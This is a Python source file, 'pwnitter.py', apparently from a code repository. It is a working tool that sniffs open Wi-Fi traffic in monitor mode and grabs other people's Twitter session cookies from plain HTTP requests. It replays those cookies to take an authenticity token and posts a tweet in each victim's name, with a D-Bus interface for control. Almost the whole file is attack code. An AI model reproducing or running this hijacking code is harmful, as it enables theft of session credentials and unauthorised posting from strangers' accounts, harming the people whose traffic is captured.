Fixed a "device not find" name error
[pwnitter] / pwnitter.py
1 #!/usr/bin/env python
2 # On Linux (as root):
3 #  * apt-get install libpcap0.8 python-pypcap python-dpkt
4 #  * iw wlan0 interface add mon0 type monitor && ifconfig mon0 up
5 #  * ./idiocy.py -i mon0
6             
7 import dbus.service
8 import dbus.mainloop.glib
9 import getopt, sys, pcap, dpkt, re, httplib, urllib
10 import logging
11 import socket
12 import time
13 import gobject
14 import select
15 import subprocess
16
17 status = 'I browsed twitter insecurely, got #pwned and all I got was this lousy tweet.'
18
19 def usage(): 
20     print >>sys.stderr, 'Usage: %s [-i device]' % sys.argv[0] 
21     sys.exit(1)
22
23 NAME = 'de.cryptobitch.muelli.Pwnitter'
24
25 class Pwnitter(dbus.service.Object):
26     def __init__(self, bus, object_name, device='mon0'):
27         super(Pwnitter, self).__init__(bus, object_name)
28         self.device = device
29         
30         self.status = status
31         self.is_running = False
32
33     def setup_monitor(device='mon0'):
34         # FIXME: Replace hardcoded interface 
35         cmd = '/usr/sbin/iw wlan0 interface add mon0 type monitor'.split()
36         subprocess.call(cmd)
37         cmd = '/sbin/ifconfig mon0 up'.split()
38         subprocess.call(cmd)
39     
40     @dbus.service.method(NAME,
41                          in_signature='', out_signature='')
42     def Start(self, filename=None):
43         # FIXME: Prevent double Start()
44         device = self.device
45         if filename is None: # Then we do *not* want to read from a PCap file but rather a monitor device
46             self.setup_monitor(device)
47         self.is_running = True
48         try:
49             self.cap = pcap.pcap(device)
50         except OSError, e:
51             print "Error setting up %s" % device
52             raise e
53         self.cap.setfilter('dst port 80')
54         cap_fileno = self.cap.fileno()
55         self.source_id = gobject.io_add_watch(cap_fileno, gobject.IO_IN, self.cap_readable_callback, device) 
56
57     @dbus.service.method(NAME,
58                          in_signature='s', out_signature='')
59     def StartFromFile(self, filename):
60         return self.Start(filename=filename)
61
62     
63     def cap_readable_callback(self, source, condition, device):
64         return self.pwn(device, self.MessageSent)
65         
66     @dbus.service.signal(NAME)
67     def MessageSent(self, who):
68         print "Emitting MessageSent"
69         return who
70         return False
71         pass
72
73     @dbus.service.method(NAME,
74                          in_signature='s', out_signature='')
75     def SetMessage(self, message):
76         self.status = message
77         
78     @dbus.service.method(NAME, #FIXME: This is probably more beauti with DBus Properties
79                          in_signature='', out_signature='s')
80     def GetMessage(self):
81         return self.status
82
83
84     def tear_down_monitor(device='mon0'):
85         cmd = '/sbin/ifconfig mon0 down'.split()
86         subprocess.call(cmd)
87         cmd = '/usr/sbin/iw dev mon0 del'.split()
88         subprocess.call(cmd)
89     
90     @dbus.service.method(NAME,
91                          in_signature='', out_signature='')
92     def Stop(self):
93         self.is_running = False
94         print "Receive Stop"
95         gobject.source_remove(self.source_id)
96         self.tear_down_monitor(self.device)
97         loop.quit()
98
99
100     def pwn(self, device, tweeted_callback=None):
101         processed = {}
102         if self.is_running: # This is probably not needed, but I feel better checking it more than too less
103             ts, raw = self.cap.next()
104             eth = dpkt.ethernet.Ethernet(raw)
105             #print 'got a packet'  
106             # Depending on platform, we can either get fully formed packets or unclassified radio data
107             if isinstance(eth.data, str):
108                 data = eth.data
109             else:
110                 data = eth.data.data.data
111
112             hostMatches = re.search('Host: ((?:api|mobile|www)?\.?twitter\.com)', data)
113             if hostMatches:
114                 print 'Host matched'
115                 host = hostMatches.group(1)
116
117                 cookieMatches = re.search('Cookie: ([^\n]+)', data)
118                 if cookieMatches:
119                     cookie = cookieMatches.group(1)
120
121                     headers = {
122                         "User-Agent": "Mozilla/5.0",
123                         "Cookie": cookie,
124                     }
125                     
126                     conn = httplib.HTTPSConnection(host)
127                     try:
128                         conn.request("GET", "/", None, headers)
129                     except socket.error, e:
130                         print e
131                     else:
132                         response = conn.getresponse()
133                         page = response.read()
134
135                         # Newtwitter and Oldtwitter have different formatting, so be lax
136                         authToken = ''
137
138                         formMatches = re.search("<.*?auth.*?_token.*?>", page, 0)
139                         if formMatches:
140                             authMatches = re.search("value=[\"'](.*?)[\"']", formMatches.group(0))
141
142                             if authMatches:
143                                 authToken = authMatches.group(1)
144
145                         nameMatches = re.search('"screen_name":"(.*?)"', page, 0)
146                         if not nameMatches:
147                             nameMatches = re.search('content="(.*?)" name="session-user-screen_name"', page, 0)
148
149                         name = ''
150                         if nameMatches:
151                             name = nameMatches.group(1)
152
153
154                         # We don't want to repeatedly spam people
155                         # FIXME: What the fuck logic. Please clean up
156                         if not ((not name and host != 'mobile.twitter.com') or name in processed):
157                             headers = {
158                                 "User-Agent": "Mozilla/5.0",
159                                 "Accept": "application/json, text/javascript, */*",
160                                 "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
161                                 "X-Requested-With": "XMLHttpRequest",
162                                 "X-PHX": "true",
163                                 "Referer": "http://api.twitter.com/p_receiver.html",
164                                 "Cookie": cookie
165                             }
166
167
168                             print 'Issueing connection'
169                             if host == 'mobile.twitter.com':
170
171                                 params = urllib.urlencode({
172                                     'tweet[text]': self.status,
173                                     'authenticity_token': authToken
174                                 })
175
176                                 conn = httplib.HTTPConnection("mobile.twitter.com")
177                                 conn.request("POST", "/", params, headers)
178
179                             else:
180
181                                 params = urllib.urlencode({
182                                     'status': self.status,
183                                     'post_authenticity_token': authToken
184                                 })
185
186                                 conn = httplib.HTTPConnection("api.twitter.com")
187                                 conn.request("POST", "/1/statuses/update.json", params, headers)
188
189
190                             response = conn.getresponse()
191                             print 'Got response: %s' % response.status
192                             if response.status == 200 or response.status == 302 or response.status == 403:
193
194                                 if name:
195                                     processed[name] = 1
196
197                                 # 403 is a dupe tweet
198                                 if response.status != 403:
199                                     print "Successfully tweeted as %s" % name
200                                     print 'calling %s' % tweeted_callback
201                                     if tweeted_callback:
202                                         tweeted_callback(name)
203                                 else:
204                                     print 'Already tweeted as %s' % name
205
206                             else:
207
208                                 print "FAILED to tweet as %s, debug follows:" % name
209                                 print response.status, response.reason
210                                 print response.read() + "\n"
211         return self.is_running # Execute next time, we're idle
212     # FIXME: Ideally, check     whether Pcap has got data for us
213
214 def main():
215
216     opts, args = getopt.getopt(sys.argv[1:], 'i:h')
217     device = None
218     for o, a in opts:
219         if o == '-i':
220             device = a
221         else:
222             usage()
223     #pwn(device)
224
225
226
227 if __name__ == '__main__':
228     from optparse import OptionParser
229     parser = OptionParser("usage: %prog [options]")
230     parser.add_option("-l", "--loglevel", dest="loglevel", 
231                       help="Sets the loglevel to one of debug, info, warn, error, critical")
232     parser.add_option("-s", "--session", dest="use_session_bus",
233                       action="store_true", default=False,
234                       help="Bind Pwnitter to the SessionBus instead of the SystemBus")
235     (options, args) = parser.parse_args()
236     loglevel = {'debug': logging.DEBUG, 'info': logging.INFO,
237                 'warn': logging.WARN, 'error': logging.ERROR,
238                 'critical': logging.CRITICAL}.get(options.loglevel, "warn")
239     logging.basicConfig(level=loglevel)
240     log = logging.getLogger("Main")
241
242     dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
243
244     if options.use_session_bus:
245         session_bus = dbus.SessionBus()
246     else:
247         session_bus = dbus.SystemBus()
248     name = dbus.service.BusName(NAME, session_bus)
249     pwnitter = Pwnitter(session_bus, '/Pwnitter')
250     #object.Start()
251
252     loop = gobject.MainLoop()
253     print "Running example signal emitter service."
254     # FIXME: This is debug code
255     #gobject.idle_add(pwnitter.MessageSent)
256     
257     loop.run()
258     print "Exiting for whatever reason"
259     #main()